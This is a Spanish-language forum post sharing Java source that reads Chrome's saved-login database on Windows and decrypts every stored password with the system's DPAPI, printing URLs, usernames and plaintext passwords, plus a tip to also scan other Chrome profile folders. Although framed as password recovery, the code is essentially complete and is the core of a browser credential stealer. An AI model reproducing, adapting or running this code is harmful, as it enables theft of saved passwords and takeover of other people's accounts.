Descarga e importa las siguientes librerias

-JNA-4.1.0.jar
-jna-platform-4.1.0.jar
-sqlite-jdbc-3.8.7.jar
Author: Yo

Este codigo sirve para obtener las contraseñas de todos los anvegadores que usen chrominium como base, como el comodo browser, etc. Solo funciona en windows.
import com.sun.jna.platform.win32.Crypt32Util;
import com.sun.jna.platform.win32.WinCrypt;
import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
 
public class ChromePasswordRecovery {
 
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
 
        Class.forName("org.sqlite.JDBC");
        System.out.println("CHROME....---------");
        File CHROMEW = new File("C:\\Users\\Username\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
        Connection conexion = DriverManager.getConnection("jdbc:sqlite:" + CHROMEW.getAbsolutePath());
        Statement est = conexion.createStatement();
        ResultSet rs = est.executeQuery("SELECT * FROM LOGINS;");
        while (rs.next()) {
            System.out.println(rs.getString("origin_url"));
            System.out.println(rs.getString("username_value"));
 
            byte[] cryptUnprotectData = Crypt32Util.cryptUnprotectData(rs.getBytes("password_value"));
            System.out.println(new String(cryptUnprotectData));
            System.out.println("\n");
 
        }
        }
    }
Hay un pequeño detalle con este code en la parte de la carpeta "Default" he visto que cuando usas los perfiles de chrome es decir que te logueas con tu correo las contraseñas se almacenan en las carpetas Profile 1, Profile 2 etc y asi hasta el N número de correos logueados, asi que pueden checar por esas carpetas igualmente.
Responder

Volver a “Fuentes”